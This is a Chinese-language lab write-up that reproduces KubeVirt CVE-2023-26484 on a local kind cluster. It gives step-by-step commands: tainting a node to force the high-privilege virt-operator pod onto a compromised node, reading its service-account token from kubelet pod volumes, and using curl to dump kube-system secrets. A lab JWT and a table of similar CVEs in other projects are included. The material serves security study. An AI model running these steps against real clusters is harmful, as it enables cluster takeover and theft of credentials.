利用第三方应用冗余权限攻击k8s

1. 利用第三方应用的组件劫持另一个高权限组件

引用原文:"第二种攻击策略是利用第三方应用的关键DaemonSet劫持该应用的另一个关键组件,然后利用该组件获取集群管理员的权限"。
这里以开源云原生项目 KubevirtCVE-2023-26484 为例。

1.1. 部署实验环境

Kind 创建 1master 2worker 集群(v1.23) k8s环境搭建
Pasted image 20250415172211

在 kind 中安装 Kubevirt v0.59.0-alpha.0(漏洞版本)
官方部署文档

kubectl create -f https://github.com/kubevirt/kubevirt/releases/download/v0.59.0-alpha.0/kubevirt-operator.yaml

kubectl create -f https://github.com/kubevirt/kubevirt/releases/download/v0.59.0-alpha.0/kubevirt-cr.yaml

#验证 Kubevirt 环境
kubectl get kubevirt.kubevirt.io/kubevirt -n kubevirt -o=jsonpath="{.status.phase}"&& kubectl get all -n kubevirt

等待部署,直到全部running
Pasted image 20250415174358

2. 前置知识

k8s理论基础
原文中提到 Kubevirt 应用有两个组件:virt-handlervirt-operator
其中 virt-handler 是一个 DaemonSet(这意味着其在集群中的多个节点上都运行着Pod)
Pasted image 20250415212447

其 pod 有一个名为 kubevirt-handler 的服务账户,

kubectl get pods virt-handler-rn7qw -n kubevirt -o jsonpath='{.spec.serviceAccount}'

Pasted image 20250415205041
该服务账户通过 ClusterRoleBinding 绑定了一个名为 kubevirt-handler 的 ClusterRole
Pasted image 20250415205158

#查看kubevirt-handler服务账号绑定了什么集群角色
kubectl get clusterrolebindings --all-namespaces | grep kubevirt-handler

Pasted image 20250415210541

该 ClusterRole 描述了对 nodes 资源的 patch 权限,(此权限是一个高危权限,可以用于更新node的资源)
因此,只要攻击者控制了一个运行着该 DaemonSet 的工作节点,则可利用 virt-handler 的相关权限。

# 查看kubevirt-handler集群角色的详细信息
kubectl describe clusterrole kubevirt-handler

另外,virit-operator 组件拥有 kubevirt-operator 服务账号,对 secrets 资源的 list 权限。
Pasted image 20250415210758

# 查看kubevirt-operator集群角色的详细信息,并过滤出与secrets相关的权限
kubectl describe clusterrole kubevirt-operator | grep secrets

2.1. 攻击思路

综上,攻击者对Kubernetes集群的攻击可以分为两步:

  1. 第一步,先利用 virt-handler 对 node 的 patch 权限,让其余正常 node 节点排斥所有 Pod(通过patch 一个 taint 实现),在这之后,Pod将被迫运行在攻击者控制的 node 节点上,这其中当然也包括着 virt-operator 组件;
  2. 第二步,由于 virt-operator 已经运行在攻击者所控节点中,因此可利用 virt-operatorsecrets 资源的 list 权限,直接请求 kube-apiserver,拿到集群管理员的 secrets,从而实现权限提升,控制整个集群。
Warning

注:上面环境搭建完成后,有可能所有的工作节点(worker和worker2) 都跑着 virt-operator 这个高权限 pod,这个现象不太符合实验要求,这样的话,如果控制了任意的工作节点,不就可以直接 list 出 secrets 了。

这可能是当前环境太小了,一共只有两个工作节点。故我们可以主动忽略 demo-worker2 上的 virt-operator,假设只有 demo-worker 上存在 virt-operator
但我测试下来应该有点随机性,我这里就是全跑在worker2节点上
Pasted image 20250415212618

3. 开始攻击

在实际情况下,攻击应用程序 -> 拿到 pod 权限 -> pod 逃逸到 node -> 控制整个集群,目前需要处于第三步,当前权限是一个工作 node(demo-worker2) 的全局权限。

3.1. 进入节点,安装Kubctl

进入 demo-worker2 节点的 virt-handler-5js2f 中

kubectl exec -it -n kubevirt virt-handler-5js2f  -- /bin/sh

在 virt-handler-5js2f 中下载 kubectl 方便后续操作

# wget方式
apt-get update && apt-get install -y wget 
wget https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl or
# curl方式
curl -k -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl

chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version

3.2. 让 demo-worker 节点排斥所有 Pod

给work1 patch 一个 taint,然后就会排斥 demo-worker 上的所有 Pod,这些排斥出来的pod就会转移到work2上。

上文中提到 virt-handler 组件是有对 node 进行 patch 的权限,注:这可能会导致正在运行的任务中断

kubectl taint nodes demo-worker node-role/exclude=:NoExecute

查看 demo-worker 节点情况
使用 taint 后,demo-worker 所有的 Pod 都跑到了 demo-worker2 上了,

kubectl get pods -n kubevirt -owide

Pasted image 20250415221000
通过 AGE 的值可以看到是刚刚被调度到本节点上的,其实就是 demo-worker 上被排斥出来的,其中virt-operator-64759c966f-k2dv6 就是我们想要的,它是一个高权限组件,上文中提到有对 secrets 资源的 list 权限。

3.3. 利用高权限组件获取集群管理员的身份

这里利用的组件是 virt-operator
进入 virt-operator-64759c966f-k2dv6 的 shell,结果进不去,没有 sh 和 bash,这个组件中其他的常用程序也都没有 (最小程序集规则) 不如 cat。

kubectl exec -it -n kubevirt virt-operator-64759c966f-k2dv6 --/bin/sh

解决方法1:nsenter 命令

# 使用nsenter命令进入目标容器的命名空间,并读取服务账号令牌
sudo nsenter --target <container_PID> -n cat /run/secrets/kubernetes.io/serviceaccount/token

解决方法2: 通过查看 node 的文件来获取 Pod 中的资源,在 kind 中,node 只是一个容器,

#【宿主机】进入到 demo-worker2 中(也就是进入到一个容器里), 
docker exec -it 3a6ee749e7a1 bash

#【node】通过节点的文件系统获得到节点上 Pod 的资源,
ls /var/lib/kubelet/pods

#【宿主机】获取 Pod 的 UID,
kubectl get pods virt-operator-64759c966f-k2dv6 -n kubevirt -o jsonpath='{.metadata.uid}'

#【node】找到认证信息,
ls /var/lib/kubelet/pods/aa26029e-ccfb-4632-b3ba-9e1804ac92bc/volumes/kubernetes.io~projected/kube-api-access-xxxx

cat /var/lib/kubelet/pods/915b79cc-917d-4847-a441-c8713456c65f/volumes/kubernetes.io~projected/kube-api-access-xxxx/token

Pasted image 20250415222150
通过这种方式我们就不用进入 virt-operator pod内部,从外部node获取到 virt-operator 这个服务账户的token

然后用这个身份获取集群所有的 secrets,直接能接管整个集群

curl -k -H "Authorization: Bearer <<token>>"https://172.18.0.3:6443/api/v1/namespaces/kube-system/secrets
#【node节点】
curl -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IkFsOE1wN2ZqcWlBNlJ2T185aXI0eDhjdGUtWURCaDNOR01hcDN4M1pCWGsifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzc2MjYxODcyLCJpYXQiOjE3NDQ3MjU4NzIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJrdWJldmlydCIsInBvZCI6eyJuYW1lIjoidmlydC1vcGVyYXRvci02NDc1OWM5NjZmLWsyZHY2IiwidWlkIjoiYWEyNjAyOWUtY2NmYi00NjMyLWIzYmEtOWUxODA0YWM5MmJjIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJrdWJldmlydC1vcGVyYXRvciIsInVpZCI6ImFiZjdlYTIxLWU4YmEtNDJhNC1hOThlLWI5OTllMTVmYjA2NCJ9LCJ3YXJuYWZ0ZXIiOjE3NDQ3Mjk0Nzl9LCJuYmYiOjE3NDQ3MjU4NzIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJldmlydDprdWJldmlydC1vcGVyYXRvciJ9.e-BL8bqlyZm3wF9R3b55iWR0jq-9CJ6xwRjX2DIa_rbDgZVOsNAhAjXPB0JgkHXFBVGhfdySNL1GlPvjJy4i0YNaShZIgWIgk50wqT2xPNLzxXC5fcDhiY5K3VbGt60GjKYmAn9aab8EtEhZGUsZFcavhPpnQifUjh14lGPUy7TbvbNYrcaWvT_KaQvoODF9DskJwdXtKkkjzBKokkaQgX4pozq9AJ5U8QTdMlZmvqAOmTBXZee2UocQOmnxuKc41A9mXdk2q9jQsZXcCQbUj6Vt4mqmhjDHZifKeCpbe8w6y0kRGzKlljvZ3Ii7OING_9pKUN7Xm9BmjWVlPQAUtg" https://172.18.0.3:6443/api/v1/namespaces/kube-system/secrets

Pasted image 20250415222912

4. 删除实验环境

kind delete cluster --name demo

5. 其他组件

应用 漏洞版本 CVE 组件 类型 服务账号 ClusterRole 冗余权限
CubeFS <=3.2.1 2023-xxxx cfs-csi-node DaemonSet service-account cfs-csi-cluster-role bug
OpenKruise - 2023-30617 kruise-daemon DaemonSet kruise-daemon kruise-daemon-role get/list secrets
Kubevirt <=0.59.0 2023-26484 virt-handler DaemonSet kubevirt-handler kubevirt-handler list/patch nodes
virt-operator Deployment kubevirt-operator kubevirt-operator get/list secrets
Fluid <0.8.6 2023-30840 fluid-csi-plugin DaemonSet fluid-csi-plugin fluid-csi-global patch nodes
>=0.8.6 - fluid-webhook Deployment fluid-webhook fluid-webhook get/list secrets
Kubewarden <1.6.0 2023-22645 controller Deployment kubewarden-controller controller-operator get/list secrets
Open Cluster Management - 2023-2250 registration-manager Deployment cluster-manager management:cluster-manager escalate/bind verbs
Clusternet - - clusternet-agent DaemonSet clusternet-agent clusternet-agent-role get/list nodes
OpenFeature <0.2.5 2023-xxxx feature-flag-sidecar DaemonSet openfeature-sidecar openfeature-role patch configmaps